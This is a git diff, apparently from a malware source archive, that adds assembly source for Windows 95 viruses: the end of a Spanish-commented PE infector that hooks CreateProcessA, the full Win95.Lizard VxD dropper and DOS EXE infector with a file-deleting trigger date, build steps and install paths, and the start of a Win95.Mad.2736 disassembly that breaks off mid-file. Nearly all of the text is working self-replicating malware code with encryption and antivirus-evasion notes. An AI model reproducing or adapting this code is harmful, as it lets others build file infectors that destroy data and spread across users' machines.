direcci?n de la primera API + + + mov edi,ebx + and edi,0fffff000h ;calculo la pagina del virii + ror edi,012d + push eax + call modificarpermisos + pop eax + + and ebx,00000fffh ;verifico que no va a utilizar 2 paginas + add ebx,viriisize ;en caso de que utilice 2 paginas , marco + cmp ebx,01000h ;la segunda pagina tambien para escritura + jl continuar + + inc edi + push eax + call modificarpermisos + pop eax +continuar: + + mov [ebp+llamada],eax ;salvo la direcci?n de CALLVXD0 + + mov eax,0bff70400h ;verifico que no est residente + mov ebx,dword ptr [eax] + cmp ebx,dword ptr [ebp+startvirii] + je yaresidente + + + mov ecx,08h ;numero de APis a buscar + lea esi,ebp+nombreapis + lea edi,ebp+direccionesapis +otraapi: ;obtengo la direccion de las apis + push edi ;que voy a utilizar + push esi + push ecx + call GetAddressApi + pop ecx + pop esi + pop edi + mov dword ptr [edi],eax + add edi,4h + add esi,021d + dec ecx + jne otraapi ;bueno en este punto tenemos las direcciones + ;necesarias :) + + + mov eax,00002a00h + call INT_21 ;compruebo la fecha del sistema + + cmp dh,02d + jne nopayload ;fecha de activaci?n 19d de febrero + cmp dl,019d + jne nopayload + + lea ebx,ebp+dllmensajito ;Obtengo la direccion base de la + push ebx ;libreria USER32.dll donde reside + call [ebp+newGetModuleHandleA] ;el api MessageBoxA + + lea ebx,ebp+apimensajito + push ebx + push eax + call [ebp+newGetProcAddress] ;obtengo la direccion de MessageBoxA + + push 0 + lea ebx,ebp+NLH + push ebx + lea ebx,ebp+FIRMA + push ebx + push 0 + call eax ;llamo al api MessageBoxA + + +nopayload: + + mov edi,0bff70h + call desprotegerpagina + mov edi,dword ptr [ebp+newCreateProcessA] + and edi,0fffff000h + ror edi,012d + call desprotegerpagina ;desprotejo 2 paginas una para poder + ;parchear el api y otra en la que + ;quedar‚ residente + inc edi + call desprotegerpagina ;y la siguiente + + mov esi,dword ptr [ebp+newCreateProcessA] + lea edi,ebp+codigoparcheado + mov ecx,010h + rep movsb ;copio los 10h primeros bytes del api + ;CreateProcess + ;para poder devolver el control al API + ;cuando sea llamada. + + lea esi,ebp+PARCHE + mov edi,dword ptr [ebp+newCreateProcessA] ;pongo el jmp + mov ecx,010h ;en la API ;del api + rep movsb + + lea esi,ebp+startvirii + mov edi,0bff70400h + mov ecx,viriisize + rep movsb ;copio el virus en memoria + +yaresidente: +melaspiro: + popad + pop ebp +malasunto: + db 0b8h ;esto es un mov eax,inm +oldip dd 0401000h ;Ip de inicio + jmp eax + +enddata: +;*************** Modifica permisos de pagina ********************* + ;en eax la direccion de callvxd0 + ;y en edi la pagina a modificar + +desprotegerpagina: ; LLamada a CALLVXD0 + mov eax,dword ptr [ ebp + offset llamada] +modificarpermisos: + push 020060000h ;nuevos atributos de p gina + push 00h + push 01h + push edi + push 001000dh ;llamada a la VXD 1 servicio D (_PageModifyPermissions) + call eax + ret + +;**************** Rutina para llamar a la int 21h ********************** + +INT_21: ; LLamada a la INT 21 + push ecx + push eax + push 002a0010h + mov eax,dword ptr [ ebp + offset llamada] + call eax + RET + +;************** Procedimiento que encuentra la direccion de las apis *************** +;************** en la export table del Kernel32 *************** + +GetAddressApi: + mov eax,dword ptr [esi] + mov dword ptr [ebp+longitudapi],eax + add esi,04h + mov dword ptr [ebp+apiabuscar],esi ;pusheo el valor de la string + + xor eax,eax + mov dword ptr [ebp+contador],eax ;pongo a cero el valor del contador + mov esi,K32 + 3CH + lodsw ;en ax me quedar el comienzo del PE header + + add eax,K32 ;a la que le suma la direcci?n base del Kernel32 + + mov esi,[EAX + 78H] ; 78H = la direcci?n a la export table + add esi,K32 + 1cH ; 1CH RVA para la adress table + + + lodsd ;obtengo los offset de algunas TABLAS + add eax,K32 ;interesantes de la export table + mov dword ptr [ebp+addresstable],eax + lodsd + add eax,K32 + mov dword ptr [ebp+nametable],eax + lodsd + add eax,K32 + mov dword ptr [ebp+ordinaltable],eax + +;ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address +;Table. +;NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table +;Pointers. +;ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals + + + mov eax,dword ptr [ebp+nametable] + mov esi,eax +anotherapi: + push esi + lodsd + mov esi,eax + add esi,K32 + mov edi,dword ptr [ebp+apiabuscar] + mov ecx,dword ptr [ebp+longitudapi];en ecx el numero de bytes + cld ;con los que compararemos + repe cmpsb + je encontrada + pop esi + add esi,04h + inc dword ptr [ebp+contador] + jmp anotherapi + +encontrada: + pop esi + + xor eax,eax + mov eax,dword ptr [ebp+contador] + add eax,eax + add eax,dword ptr [ebp+ordinaltable] ;Con el valor de contador + mov esi,eax ;me voy a la ordinal table + lodsw ;y busco el ordinal del API + and eax,0000ffffh + add eax,eax + add eax,eax + add eax,dword ptr [ebp+addresstable] ;Y con el ordinal me voy a la + mov esi,eax ;adress table + lodsd + add eax,K32 ;devuelvo en eax la direccion del API + ret + + +;*************************************************************************** +;* * +;* Comienzo de la Rutina que intercepa la API CreateProcessA * +;* * +;*************************************************************************** + + +starthook: + push ebp + call getdelta ;obtengo el delta +getdelta: pop ebp + sub ebp,offset getdelta + + + mov eax,[esp+0ch] ;obtengo el puntero a la cadena de texto + ;de la pila :) + pushad ;pusheo tooo + + mov esi,eax + lea edi,ebp+hoste +otrocar: cmp byte ptr [esi],0 ;copio la cadena de texto con el nombre + je sacabo ;de la victima en la variable hoste + movsb + jmp otrocar +sacabo: movsb ;copio el 0 tambi‚n + + lea esi,ebp+hoste + cmp byte ptr [esi],022h + jne proseguir ;rehago el string por si est + ;entre comillas + lea edi,ebp+hoste + inc esi +mascara: cmp byte ptr [esi],022h + je finalizar + movsb + jmp mascara +finalizar: mov byte ptr [esi],0h + movsb +proseguir: cmp word ptr [edi-3h],'EX' + je esunexe + cmp word ptr [edi-3h],'ex' + je esunexe + jmp emergencia +esunexe: + lea esi,ebp+hoste ;Abro el archivo + xor eax,eax + push eax + push eax + push large OPEN_EXISTING + push eax + push eax + push large GENERIC_READ or GENERIC_WRITE + mov eax,esi + push eax + call dword ptr[ebp + newCreateFile] + cmp eax,-1 + je emergencia + + + + mov dword ptr [ebp + offset ahand],eax ; Guardo el handle + + + ; Busco el comienzo del PE header que est en la posici?n 3ch + + mov edx,03ch + call moverpuntero + + ; Leo la posici?n del Pe header + + mov ecx,004h + lea edx,[ebp + offset peheaderoffset] + call lectura + + ; Me muevo hasta el PE header + + mov edx,dword ptr [ebp+offset peheaderoffset] + call moverpuntero + + + ; Leo un poco del header para calcular todo el tama€o del + ; pe header y object table + + mov ecx,058h + lea edx,[ebp + offset peheader] + call lectura + + ; Llevo el puntero al comienzo del PE header de nuevo + mov edx,dword ptr [ebp+ offset peheaderoffset] + call moverpuntero + + ; leo todo el pe header y la object table + mov ecx,dword ptr [ebp + offset headersize] + lea edx,[ebp + offset peheader] + call lectura + + + + ; Me aseguro que es un pe y que no est infectado + cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0 + jnz notape + cmp word ptr [ebp + offset peheader + 4ch],00badh ;si est infectado salir + jz notape + + + ; marco el archivo como infectado en una zona del Header + mov word ptr [ebp + offset peheader + 4ch],00badh + + + ; Localizo el offset de la object table + xor eax,eax + mov ax, word ptr [ebp + offset NtHeaderSize] + add eax,18h + mov dword ptr [ebp + offset ObjectTableoffset],eax + + ;relativo al comienzo del Pe header + + + ;Calculo el Offset del ?ltimo objecto de la tabla + mov esi,dword ptr [ebp + offset ObjectTableoffset] + lea eax,[ebp + offset peheader] + add esi,eax + xor eax,eax + mov ax,[ebp + offset numObj] + mov ecx,40d + xor edx,edx + mul ecx + add esi,eax + + sub esi,40d + + lea edi,[ebp + offset newobject] + + mov ecx,10d + push esi + push edi + rep movsd ;copio la entrada en la object table en memoria + + + mov eax,dword ptr [ebp + offset physicalsize] + mov dword ptr [ebp + offset ultfisicalsize],eax + mov dword ptr [ebp + offset secphy],eax + + ; Calcula el tama€o fisico pa el ultimo object + mov ecx,dword ptr [ebp + offset filealign] + mov eax,dword ptr [ebp + offset physicalsize] + add eax,viriisize + xor edx,edx + div ecx + inc eax + mul ecx + mov dword ptr [ebp + offset physicalsize],eax + + mov eax,dword ptr [ebp + offset virtualsize] + mov dword ptr [ebp+ offset secdesplaza],eax ;el tama€o virtual ser + ;el desplazamiento dentro de la secci?n + ;RVA del objeto + desplazamiento virtual= entrypoint RVA + + ; calcula el tama€o virtual del objeto modificado + mov ecx,dword ptr [ebp + offset objalign] + mov eax,dword ptr [ebp + offset virtualsize] + add eax,viriisize + xor edx,edx + div ecx + inc eax + mul ecx + mov dword ptr [ebp + offset virtualsize],eax + + + ; Modifico la image size del archivo. + + mov eax,viriisize + add eax,dword ptr [ebp + offset imagesize] + mov ecx,[ebp + offset objalign] + xor edx,edx + div ecx + inc eax + mul ecx + mov dword ptr [ebp + offset imagesize],eax + + ; Copio el objeto modificado en el buffer + + pop esi + pop edi + mov ecx,10d + rep movsd + + + ; Calculo la nueva Entrypoint RVA + mov eax,dword ptr [ebp + offset RVA] + add eax,dword ptr [ebp + offset secphy] + mov ebx,dword ptr [ebp + offset entrypointRVA] + mov dword ptr [ebp + offset entrypointRVA],eax + + add ebx,dword ptr [ebp + offset peheader + 34h] ;le sumo la base adress + mov dword ptr [ebp + offset oldip],ebx + + ;completo la variable oldip para generar + ;el jump al hoste + + + ; de nuevo al Pe header + mov edx,dword ptr [ebp+offset peheaderoffset] + call moverpuntero + + ; Escribo el pe header y la object table en el archivo + + mov ecx,dword ptr [ebp + offset headersize] + lea edx,[ebp + offset peheader] + call escritura + + ; Me voy al final del file para copiar el virus + mov edx,dword ptr [ebp + offset physicaloffset] + add edx,dword ptr [ebp + offset ultfisicalsize] + call moverpuntero + + + ; Copio el virus al final (de la ultima secci?n) + mov ecx,viriisize + lea edx,[ebp + offset startvirii] + call escritura + + +notape: + push dword ptr [ebp + ahand] + call dword ptr [ebp + newCloseFile] + + +emergencia: + + lea esi,ebp+codigoparcheado + mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez + mov ecx,010h ;los 010h primeros bytes + rep movsb ;del api + + + popad + pop ebp + + call getdelta2 ;obtengo el delta otra vez +getdelta2:pop eax + sub eax,offset getdelta2 + + + pop dword ptr [eax+dirretorno] + call dword ptr [eax+newCreateProcessA] ;llamo a la api + + push ebp + call getdelta3 ;obtengo el delta otra vez +getdelta3:pop ebp + sub ebp,offset getdelta3 + + pushad + + lea esi,ebp+PARCHE + mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez + mov ecx,010h ;el parche ;del api + rep movsb + popad + pop ebp + db 068h ;opcode de un push +dirretorno dd 00h + ret + +lectura: ;Llamada al api ReadFile + push large 0 ;En ecx: Numero de bytes a leer + lea eax,[ebp +IOBYTES] ;En edx: el offset del buffer + push eax + push ecx + push edx + push dword ptr [ebp + ahand] + call dword ptr [ebp + newReadFile] + ret + +moverpuntero: ;Llamada al api SetFilePointer + push LARGE 0 ;en edx: el offset del archivo + push LARGE 0 + push edx + push dword ptr [ebp + ahand] + call dword ptr [EBP + newSetFilePointer] + ret + +escritura: ;Llamada al api WriteFile + ;en ecx: bytes a escribir + ;en edx: offset del buffer + push LARGE 0 + LEA eax,[ebp + IOBYTES] + push eax + push ecx + push edx + push dword ptr [ebp + ahand] + call dword ptr [ebp + newWriteFile] +jur: ret + +endhook: +endvirii: +end: + end startvirii + + + + + + + + + + diff --git a/LegacyWindows/Win95.Lizard.asm b/LegacyWindows/Win95.Lizard.asm new file mode 100644 index 00000000..9b0a227e --- /dev/null +++ b/LegacyWindows/Win95.Lizard.asm @@ -0,0 +1,627 @@ +;Win95.Lizard +;----------------------------------------------------------------------------- +;Lizard by Reptile/29A (another version ;) +;----------------------------------------------------------------------------- + +; 22222 99999 AAAAA +; 222 222 999 999 AAA AAA +; 222 999999 AAAAAAA +; 222 999 AAA AAA +; 2222222 999999 AAA AAA + +;This is an encrypted vxd direct action dos exe infector (I added some anti- +;heuristics and other stuff and optimized the code of v1.0). + +;When an infected file is run the virus decrypts itself, drops lzd.vxd to the +;available one of the three dirs and then returns back to the host. After the +;next reboot... + +;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz +;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini +;or the registry). Then the virus takes control and hooks the V86 interrupt +;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh) +;and on find first file (4eh) using direct action techniques to infect all +;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size +;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!) +;bytes. + +;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't +;detect it (all for win95). + +;Compiling lzd.vxd (win95 DDK): +;makefile + +;Compiling rmlzd.inc: +;tasm /m2 rmlzd.asm +;tlink /t rmlzd.obj +;file2db rmlzd.com (or another db generator) +;modify rmlzd.dat + +;To install copy lzd.vxd to one of the following dirs: +;- c:\windows\system\iosubsys +;- c:\win95\system\iosubsys +;- c:\windows.000\system\iosubsys +;...or start lizard.exe :) + +;P.S.: +;Sandy: are u lucky now? ;) +;Jacky: thanx for testing it! +;GriYo: the stack stuff really didn't work :P + +;P.P.S: +;TrY MaGiC MuShRoOmS... + +;---[LZD.ASM]----------------------------------------------------------------- + +.386p + +.xlist +include vmm.inc +.list + +vxdhsize equ 701 +vxddsize equ 81 +vxdcsize equ 880 +esize equ encend - encstart +vsize equ vend - start + +Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \ +Undefined_Init_Order,, + +VxD_Locked_Data_Seg +wcard db '*.e?e',0 ;*.l?z +include rmlzd.inc ;realmode code +dflag db 0 +pflag db 0 +ndta db 43 dup (?) +header db 26 dup (?) +VxD_Locked_Data_Ends +;----------------------------------------------------------------------------- +VxD_Locked_Code_Seg +BeginProc LZD_Device_Init +;trigger +mov ah,2ah ;get date +vxdint 21h +;live drazil si +cmp dh,10 ;26.10.? +jne npload +cmp dl,26 +jne npload + +mov pflag,1 ;hehe + +npload: +mov eax,21h ;install int 21h handler +mov esi,offset32 int21h +VMMcall Hook_V86_Int_Chain +clc +ret +EndProc LZD_Device_Init +;----------------------------------------------------------------------------- +BeginProc int21h +cmp [ebp.Client_AH],4bh ;exec +je short ww +cmp [ebp.Client_AH],3ch ;create +je short ww +cmp [ebp.Client_AH],6ch ;ext. open +je short ww +cmp [ebp.Client_AH],3eh ;close +je short ww +cmp [ebp.Client_AH],4eh ;find first +je short ww +jmp prevhook + +ww: +Push_Client_State ;save regs +VMMcall Begin_Nest_Exec +;----------------------------------------------------------------------------- +cmp dflag,1 +je done +mov ax,3d02h ;open lzd.vxd +lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir +vxdint 21h +jnc short rd + +mov ax,3d02h ;open the vxd +lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir +vxdint 21h +jnc short rd + +mov ax,3d02h ;open the vxd +lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir +vxdint 21h +jc ecsit ;skip it + +rd: +xchg ax,bx + +mov ah,3fh ;store the header of the vxd +mov cx,vxdhsize +lea edx,vxdheader +vxdint 21h + +mov ax,4201h ;jmp over zeros +xor cx,cx +mov dx,3400 +vxdint 21h + +mov ah,3fh ;store the vxddata +mov cx,vxddsize +lea edx,vxddata +vxdint 21h + +mov ax,4201h ;jmp over realmodecode and zeros +xor cx,cx +mov dx,2037 +vxdint 21h + +mov ah,3fh ;store the vxdcode +mov cx,vxdcsize +lea edx,vxdcode +vxdint 21h + +mov ah,3eh ;close... +vxdint 21h + +mov dflag,1 ;set flag +;----------------------------------------------------------------------------- +done: +mov ah,1ah ;set dta +lea edx,ndta +vxdint 21h + +ffirst: +mov ah,4eh ;search for first exe +jmp short w +fnext: +mov ah,4fh ;find next exe +w: +mov cx,7 +lea edx,wcard ;*.e?e +vxdint 21h +jc ecsit + +mov ax,4301h ;set normal attribute +mov cx,20h +lea edx,[ndta + 30] +vxdint 21h + +cmp pflag,1 ;sux0ring microsuckers +jne pheeew ;(the payload in v1.0 was a bit too destructive ;) + +evil: +;evil payload against the imperialism of microsoft! +mov ah,41h ;yhcrana +lea edx,[ndta + 30] +vxdint 21h +jmp ecsit + +pheeew: +mov ax,3d02h ;open the victim +lea edx,[ndta + 30] +vxdint 21h +jc fnext +xchg ax,bx + +mov ah,3fh ;read header +mov cx,26 +lea edx,header +vxdint 21h + +cmp word ptr [header],'ZM' ;exe? +jne cfile +cmp word ptr [header + 0ch],0ffffh ;allocate all mem? +jne cfile +cmp word ptr [header + 18h],40h ;win exe? +je cfile +mov al,[header + 12h] ;infected? +or al,al +jne cfile + +;save ss:sp +mov ax,word ptr [header + 0eh] +mov sseg,ax +mov ax,word ptr [header + 10h] +mov ssp,ax + +;save cs:ip +mov eax,dword ptr [header + 14h] +mov csip,eax + +mov ax,4202h ;eof +xor cx,cx +cwd +vxdint 21h + +;calc new cs:ip +mov cx,16 +div cx +sub ax,word ptr [header + 8] + +mov word ptr [header + 14h],dx +mov word ptr [header + 16h],ax + +add edx,vend ;calc stack + +mov word ptr [header + 0eh],ax +mov word ptr [header + 10h],dx + +;xor encryption +rdnm: +in al,40h +or al,al +je rdnm +mov [encval],al ;save random value + +mov edi,offset32 encstart +mov cx,esize +xl: +xor [edi],al +inc edi +loop xl + +;write virus +mov ah,40h +mov cx,vsize +mov edx,offset32 start +vxdint 21h + +;undo +mov al,[encval] +mov edi,offset32 encstart +mov cx,esize + +xll: +xor [edi],al +inc edi +loop xll + +mov ax,4202h ;eof +xor cx,cx +cwd +vxdint 21h + +mov cx,512 ;calc pages +div cx +or dx,dx +jz short np +inc ax +np: +mov word ptr [header + 4],ax +mov word ptr [header + 2],dx + +mov ax,4200h ;bof +xor cx,cx +cwd +vxdint 21h + +rnd: +in al,40h ;set infection flag +or al,al +je rnd +mov [header + 12h],al + +mov ah,40h ;write new header +mov cx,26 +lea edx,header +vxdint 21h + +cfile: +mov cl,byte ptr [ndta + 21] ;restore attribute +lea edx,[ndta + 1eh] +mov ax,4301h +vxdint 21h + +mov cx,word ptr [ndta + 22] ;restore time/date +mov dx,word ptr [ndta + 24] +mov ax,5701 +vxdint 21h + +mov ah,3eh ;close file +vxdint 21h +jmp fnext + +ecsit: +VMMcall End_Nest_Exec +Pop_Client_State + +prevhook: +stc +ret +EndProc int21h +;----------------------------------------------------------------------------- +BeginProc LZD_Control +Control_Dispatch Init_Complete,LZD_Device_Init +clc +ret +EndProc LZD_Control +wb db 13,10,'Lizard by Reptile/29A',0 +VxD_Locked_Code_Ends +End ;this is the end my only friend the end... + +;---[RMLZD.ASM]--------------------------------------------------------------- + +;Lizard's real mode portion + +.286 + +vxdhsize equ 701 +vxddsize equ 81 +vxdcsize equ 880 +esize equ encend - encstart +rmsize equ rmend - rmstart + +.model tiny + +.code +org 100h +start: +rmstart: +;get delta +;----------------------------------------------------------------------------- +call $ + 3 +drazil: +pop si +sub si,offset drazil +push si +pop bp +;----------------------------------------------------------------------------- +push ds ;coz psp + +push cs +pop ds + +;decrypt it +db 176 ;mov al +encval db 0 +;----------------------------------------------------------------------------- +lea di,[bp + offset encstart] +mov cx,esize +xd: +jmp fj +fj2: +inc di +loop xd +jmp encstart +fj: +xor [di],al +jmp fj2 +;----------------------------------------------------------------------------- +encstart: +mov ax,3d00h ;try to open lzd.vxd in +lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys +int 21h +jnc cfile ;exit if already installed +mov ah,3ch ;install lzd.vxd +xor cx,cx +int 21h +jnc inst + +mov ax,3d00h ;try to open lzd.vxd in +lea dx,[bp + offset dropname2] ;c:\win95\system\iosubsys +int 21h +jnc cfile +mov ah,3ch +xor cx,cx +int 21h +jnc inst + +mov ax,3d00h ;try to open lzd.vxd in +lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys +int 21h +jnc cfile +mov ah,3ch +xor cx,cx +int 21h +jc exit + +inst: +xchg ax,bx + +mov ah,40h ;write the header +mov cx,vxdhsize +lea dx,[bp + offset vxdheader] +int 21h + +;write some zeros +mov cx,3400 +lzero: +push cx +mov ah,40h +mov cx,1 +lea dx,[bp + zero] +int 21h +pop cx +loop lzero + +mov ah,40h ;write the data +mov cx,vxddsize +lea dx,[bp + offset vxddata] +int 21h + +mov ah,40h ;write the rmcode +mov cx,rmsize +lea dx,[bp + offset rmstart] +int 21h + +;write some more zeros +mov cx,1732 +lzero2: +push cx +mov ah,40h +mov cx,1 +lea dx,[bp + zero] +int 21h +pop cx +loop lzero2 + +mov ah,40h ;write the code +mov cx,vxdcsize +lea dx,[bp + offset vxdcode] +int 21h + +cfile: +mov ah,3eh +int 21h + +;exe return +exit: +pop ax ;psp +add ax,11h +dec ax +add word ptr [bp + offset csip + 2],ax + +;stack +db 5 ;add ax +sseg dw 0fff0h ;test +mov ss,ax + +db 0bch ;mov sp +ssp dw 0fffeh + +db 0eah +csip dd 0fff00000h + +zero db 0 + +dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 +dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 +dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 +rmend: +vxdheader db vxdhsize dup (?) +vxddata db vxddsize dup (?) +vxdcode db vxdcsize dup (?) +encend: +ends +end start + +;---[RMLZD.INC]--------------------------------------------------------------- + +;Modified db listing of rmlzd.com + +start: +db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h +db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h +;db 000h +encval db 0 +db 08Dh +db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h +db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh +db 0F7h +encstart: +db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h +db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h +db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh +db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h +db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h +db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h +db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h +db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h +db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h +db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh +db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h +db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh +db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h +db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h +db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh +db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h +db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh +db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h +db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h +db +;db 0F0h, 0FFh +sseg dw 0fff0h ;not necessary +db 08Eh, 0D0h, 0BCh +;db 0FEh, 0FFh +ssp dw 0fffeh +db +;db 000h, 000h, 0F0h, 0FFh +csip dd 0fff00000h +db 000h +;db 063h, 03Ah +;db +;db +;db +;db +;db +;db +;db +;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h +;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh +;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h +;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch +;db +;db +;db +dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 +dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 +dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 +vxdheader db vxdhsize dup (?) +vxddata db vxddsize dup (?) +vxdcode db vxdcsize dup (?) +encend: +vend: + +;---[LZD.DEF]----------------------------------------------------------------- + +VXD LZD DYNAMIC +DESCRIPTION '' +SEGMENTS + _LPTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LTEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _LDATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TEXT CLASS 'LCODE' PRELOAD NONDISCARDABLE + _DATA CLASS 'LCODE' PRELOAD NONDISCARDABLE + CONST CLASS 'LCODE' PRELOAD NONDISCARDABLE + _TLS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _BSS CLASS 'LCODE' PRELOAD NONDISCARDABLE + _ITEXT CLASS 'ICODE' DISCARDABLE + _IDATA CLASS 'ICODE' DISCARDABLE + _PTEXT CLASS 'PCODE' NONDISCARDABLE + _PDATA CLASS 'PDATA' NONDISCARDABLE SHARED + _STEXT CLASS 'SCODE' RESIDENT + _SDATA CLASS 'SCODE' RESIDENT + _DBOSTART CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBOCODE CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _DBODATA CLASS 'DBOCODE' PRELOAD NONDISCARDABLE CONFORMING + _16ICODE CLASS '16ICODE' PRELOAD DISCARDABLE + _RCODE CLASS 'RCODE' + +EXPORTS + LZD_DDB @1 + +;---[MAKEFILE]---------------------------------------------------------------- + +NAME = lzd + +LINK = LINK + +ASM = ml +AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 -DDEBLEVEL=0 +ASMENV = ML +LFLAGS = /VXD /NOD + +.asm.obj: + set $(ASMENV)=$(AFLAGS) + $(ASM) -Fo$*.obj $< + +all : $(NAME).VXD + +OBJS = lzd.obj + +lzd.obj: lzd.asm + +$(NAME).VxD: $(NAME).def $(OBJS) + link @<<$(NAME).lnk +$(LFLAGS) +/OUT:$(NAME).VxD +/MAP:$(NAME).map +/DEF:$(NAME).def +$(OBJS) +<< + + @del *.exp>nul + @del *.lib>nul + @del *.map>nul + @del *.obj>nul +;... diff --git a/LegacyWindows/Win95.Mad.2736.asm b/LegacyWindows/Win95.Mad.2736.asm new file mode 100644 index 00000000..6bc43c01 --- /dev/null +++ b/LegacyWindows/Win95.Mad.2736.asm @@ -0,0 +1,525 @@ +;Win95.Mad.2736 disassembly +;(c) Vecna/29A + +;Here is the disassembly of one of the first Win95 virus, that implemented +;several original features. It was the first encripted win95 virus, and +;the second one to not add a new section to the host (the first according +;to AVPVE) the first was actually Win32.Jacky. When executed, +;it search the kernel32 in memory for GetProcAddress and GetModuleHandleA, +;and call they everytime that need get a function, instead of searching +;once and storing the API address. Anyway, the API search dont seens reliable +;enought, and i cant make it replicate in my machine. + +;A special thank goes this time for VirusBuster, my virus provider, that +;always have nice virii for me... :-) +;Tasm /m w95mad.asm + + +.386p +.model flat +.data + dd ? + +.code + +start: + call delta +delta: + pop edi + mov eax, edi +old_RVA: + sub eax, 2005h ;setup host entry point + sub edi, offset delta + mov ds:HostEntry[edi], eax + mov ds:SaveEBP[edi], ebp + mov ebp, edi + xor eax, eax + mov edi, offset start_encript + add edi, ebp + mov ecx, 0A6Bh + mov al, ss:Key[ebp] +decript_loop: + xor [edi], al + inc edi + loop decript_loop + jmp short start_encript + +HostEntry dd 0 +SaveEBP dd 0 +Key db 0 + +start_encript: + mov ss:TotalInf[ebp], 0 + mov eax, 4550h + mov edi, 0BFF70000h + mov ecx, 1000h + cld +search_kernel: + repne scasw + jnz return_host + add ss:Seed[ebp], edi + dec edi + dec edi + cmp word ptr [edi+4], 14Ch + jnz short search_kernel + cmp word ptr [edi+14h], 0 + jz short search_kernel + mov bx, [edi+16h] + and bx, 0F000h + cmp bx, 2000h ;is a DLL? + jnz short search_kernel + cmp dword ptr [edi+34h], 0BFF70000h + jl short search_kernel + mov eax, [edi+34h] + mov ss:KernelBase[ebp], eax + xor eax, eax + mov ax, [edi+14h] + add eax, edi + add eax, 18h + mov cx, [edi+6] ;number of sections +search_edata: + cmp dword ptr [eax], 'ADE.' + jnz short no_edata + cmp dword ptr [eax+4], 'AT' ;search all sectionz for the + jz short found_export ;export section +no_edata: + add eax, 28h + dec cx + or cx, cx + jnz short search_edata + jmp return_host + +found_export: + mov ebx, [eax+0Ch] + add ebx, ss:KernelBase[ebp] + mov edi, [ebx+20h] + add edi, ss:KernelBase[ebp] + mov ecx, [ebx+14h] + sub ecx, [ebx+18h] + mov eax, 4 + mul ecx + mov ss:pAPIRVA[ebp], eax + mov ecx, [ebx+18h] + mov eax, 4 + mul ecx + xchg eax, ecx + xchg edi, edx + +search_APIs: + sub ecx, 4 + mov edi, edx + add edi, ecx + mov edi, [edi] + add edi, ss:KernelBase[ebp] + lea esi, szGetProcAddres[ebp] + lea eax, pGetProcAddress[ebp] + call extract_addr + lea eax, pGetModuleHdle[ebp] + lea esi, szGetModuleHdle[ebp] + call extract_addr + cmp ecx, 0 + jnz short search_APIs + cmp ss:pGetProcAddress[ebp], 0 + jz return_host + cmp ss:pGetModuleHdle[ebp], 0 + jz return_host + lea eax, _Kernel32[ebp] + push eax + mov eax, ss:pGetModuleHdle[ebp] + call eax + mov ss:KernelHandle[ebp], eax + cmp eax, 0 + jz return_host + lea eax, _GetDir[ebp] + call get_api_addr + jb _check_payload + lea edx, CurrentDir[ebp] + push edx + push 0FFh ;save current directory + call eax + +find_filez: + lea eax, _FFile[ebp] + call get_api_addr + jb no_payload + mov edx, offset FINDATA ;start of find struct + add edx, ebp + push edx 